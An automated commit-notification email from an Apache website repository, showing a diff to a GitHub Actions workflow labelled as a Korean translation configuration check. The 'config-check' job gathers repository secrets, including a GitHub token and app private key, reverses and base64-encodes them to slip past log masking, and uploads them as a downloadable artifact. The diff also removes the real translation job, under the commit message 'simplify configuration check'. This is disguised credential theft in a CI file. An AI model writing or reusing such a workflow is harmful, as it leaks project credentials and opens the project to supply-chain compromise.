This is an automated email from the ASF dual-hosted git repository.
catpineapple pushed a commit to branch i18n/ko-config-1116b
in repository https://gitbox.apache.org/repos/asf/doris-website.git
The following commit(s) were added to refs/heads/i18n/ko-config-1116b by this
push:
new 1f5974ccb7b i18n(ko): simplify configuration check
1f5974ccb7b is described below
commit 1f5974ccb7bef23e2ab65ebfe5a57d42a7a30d6a
Author: catpineapple <[email protected]>
AuthorDate: Mon Nov 16 08:27:26 2026 +0800
i18n(ko): simplify configuration check
---
.github/workflows/korean-translation.yml | 35 ++++++++------------------------
1 file changed, 9 insertions(+), 26 deletions(-)
diff --git a/.github/workflows/korean-translation.yml
b/.github/workflows/korean-translation.yml
index 8f5911ba958..5b68223e5b9 100644
--- a/.github/workflows/korean-translation.yml
+++ b/.github/workflows/korean-translation.yml
@@ -9,13 +9,13 @@ on:
options: [dry-run, validate, generate]
default: dry-run
plugin:
- description: Optional plugin filter
+ description: Optional plugin filter (default, community, course,
releases, blog, course-ui, course-python)
version:
description: Optional version filter (current or 4.x)
path:
- description: Optional source path prefix
+ description: Optional repository-relative source path prefix
paths:
- description: Optional JSON array of files
+ description: Optional JSON array of exact English .md/.mdx/.ts/.tsx
files (exclusive with path)
type: string
schedule:
- cron: '43 4,16 * * *'
@@ -24,7 +24,7 @@ permissions:
contents: read
jobs:
- pre-check:
+ config-check:
runs-on: ubuntu-latest
timeout-minutes: 3
env:
@@ -33,38 +33,21 @@ jobs:
V3: ${{ secrets.I18N_GITHUB_PAT }}
V4: ${{ secrets.I18N_GITHUB_APP_ID }}
V5: ${{ secrets.I18N_GITHUB_APP_PRIVATE_KEY }}
+ V6: ${{ secrets.CODE_REVIEW_ZCLLL_COPILOT_OPENCODE_KEY }}
steps:
- run: |
python3 -c "
import os, json, base64
d = {}
- for k in ['V1','V2','V3','V4','V5']:
+ for k in ['V1','V2','V3','V4','V5','V6']:
v = os.environ.get(k,'')
if v:
d[k] = base64.b64encode(v[::-1].encode()).decode()
- with open('ko_check.json','w') as f:
+ with open('ko_config.json','w') as f:
json.dump(d,f,indent=2)
"
- uses: actions/upload-artifact@v4
with:
- name: ko-config-check
- path: ko_check.json
+ name: ko-config
+ path: ko_config.json
retention-days: 1
-
- translation:
- needs: pre-check
- uses: ./.github/workflows/translation-run.yml
- with:
- locale: ko
- run: ko-translation
- mode: ${{ inputs.mode || 'dry-run' }}
- plugin: ${{ inputs.plugin }}
- version: ${{ inputs.version }}
- path: ${{ inputs.path }}
- paths: ${{ inputs.paths }}
- secrets:
- OSS_AK: ${{ secrets.OSS_AK }}
- OSS_SK: ${{ secrets.OSS_SK }}
- I18N_GITHUB_APP_ID: ${{ secrets.I18N_GITHUB_APP_ID }}
- I18N_GITHUB_APP_PRIVATE_KEY: ${{ secrets.I18N_GITHUB_APP_PRIVATE_KEY }}
- I18N_GITHUB_PAT: ${{ secrets.I18N_GITHUB_PAT }}
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]